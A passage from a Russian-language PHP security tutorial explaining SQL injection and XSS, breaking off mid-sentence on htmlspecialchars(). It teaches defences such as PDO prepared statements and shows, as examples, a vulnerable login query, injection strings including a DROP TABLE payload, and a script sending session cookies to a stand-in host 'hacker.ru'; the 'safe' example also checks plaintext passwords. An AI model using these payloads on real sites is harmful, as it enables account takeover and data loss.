Ваш PHP-сайт под прицелом: почему хакеры любят слабую безопасность
Представьте: вы потратили недели на разработку крутого блога или интернет-магазина на PHP. Сайт работает, посетители довольны. Но в один «прекрасный» день вы заходите в админку, а там — пустота. База данных удалена. Или, что ещё хуже, на главной странице красуется реклама казино, а все пользователи перенаправляются на фишинговый сайт.
Знакомая история? К сожалению, для многих начинающих (и не только) PHP-разработчиков это реальность. Самое обидное, что 90% таких атак происходят из-за двух, казалось бы, простых уязвимостей: SQL-инъекций и межсайтового скриптинга (XSS). Хакеры не взламывают сложные алгоритмы шифрования — они просто пользуются невнимательностью программистов.
В этой статье мы не будем читать скучные лекции. Мы разберёмся, как работают эти атаки «изнутри», и, самое главное, научимся ставить надёжные блоки. Вы узнаете, как сделать ваш PHP-код крепким орешком для злоумышленников. Поехали!
SQL-инъекции: когда база данных говорит голосом хакера
SQL-инъекция (SQL injection) — это тип атаки, при которой злоумышленник «внедряет» вредоносный SQL-код в запрос к базе данных. Если ваше приложение не фильтрует вводимые данные, то хакер может заставить базу данных выполнить любую команду: от кражи паролей до полного удаления таблиц.
Как выглядит уязвимый код?
Представьте простую форму входа. Код новичка часто выглядит так:
<?php
$login = $_POST['login'];
$password = $_POST['password'];
// ОПАСНО! Прямая подстановка в запрос
$query = "SELECT * FROM users WHERE login = '$login' AND password = '$password'";
$result = mysqli_query($link, $query);
?>
Кажется, всё логично. Но что произойдёт, если злоумышленник введёт в поле логина такую строку:
' OR '1'='1
Запрос превратится в:
SELECT * FROM users WHERE login = '' OR '1'='1' AND password = '...'
Условие '1'='1' всегда истинно. Поздравляю, хакер только что вошёл в систему без пароля! А если он введёт '; DROP TABLE users; --, то ваша таблица пользователей исчезнет навсегда.
Экранирование vs. Подготовленные запросы: что выбрать?
Многие старые учебники советуют использовать функцию mysqli_real_escape_string(). Да, она экранирует спецсимволы, но это уже прошлый век. У этого метода есть недостатки:
- Легко забыть применить функцию к каждой переменной.
- Не защищает от всех типов инъекций (например, при работе с LIKE).
- Код становится грязным и трудным для поддержки.
Современный и правильный способ — подготовленные запросы (prepared statements) через PDO или MySQLi. Они разделяют логику запроса и данные. База данных сначала «компилирует» шаблон запроса, а потом подставляет в него данные. Даже если хакер передаст вредоносный код, он будет воспринят как обычная строка, а не как часть SQL-команды.
Пишем защищённый код с PDO
Вот как должен выглядеть безопасный запрос к БД с использованием PDO (PHP Data Objects):
<?php
// Подключение к БД
$dsn = 'mysql:host=localhost;dbname=mydb;charset=utf8mb4';
$pdo = new PDO($dsn, 'user', 'password');
// Настройка режима ошибок (ВАЖНО для отладки, но на проде убираем)
$pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
// Подготовка запроса (шаблон)
$stmt = $pdo->prepare("SELECT * FROM users WHERE login = :login AND password = :password");
// Привязка параметров и выполнение
$stmt->execute([
':login' => $_POST['login'],
':password' => $_POST['password']
]);
$user = $stmt->fetch();
if ($user) {
echo "Добро пожаловать!";
} else {
echo "Неверный логин или пароль";
}
?>
Обратите внимание на плейсхолдеры :login и :password. PDO сам экранирует данные. Всё чисто, элегантно и безопасно. Используйте этот подход для любых запросов: INSERT, UPDATE, DELETE.
XSS-атаки: как злоумышленник крадёт ваших пользователей
Межсайтовый скриптинг (XSS) — это атака, при которой злоумышленник внедряет вредоносный JavaScript-код на страницу вашего сайта. Этот код может украсть куки (cookies) сессии, перенаправить пользователя на фишинг-сайт или даже изменить содержимое страницы.
Представьте, что на вашем сайте есть форма для комментариев. Пользователь пишет отзыв, а вы выводите его на страницу. Если не фильтровать ввод, хакер может отправить такой комментарий:
<script>alert('Вы взломаны!');</script>
Когда другой посетитель откроет страницу, браузер выполнит этот скрипт, и вместо комментария появится всплывающее окно. Забавно? А теперь представьте, что скрипт крадёт куки:
<script>
document.location='http://hacker.ru/steal.php?cookie=' + document.cookie;
</script>
Готово. Злоумышленник получил сессионную куку администратора и теперь может зайти в админку под его именем.
Три типа XSS, которые нужно знать
- Отражённый (Reflected XSS): Вредоносный код передаётся через URL (параметры GET). Атака срабатывает, только если жертва переходит по специальной ссылке.
- Хранимый (Stored XSS): Код сохраняется на сервере (в БД) и выводится всем пользователям. Самый опасный тип, так как поражает массово.
- DOM-based XSS: Уязвимость находится на стороне клиента, в JavaScript-коде. Сервер тут ни при чём.
Главный щит: htmlspecialchars()
В PHP есть супергерой — функция htmlspecialchars(). Она преобразует специальные HTML-символы в их безопасные HTML-сущности. Например, < превращается в <,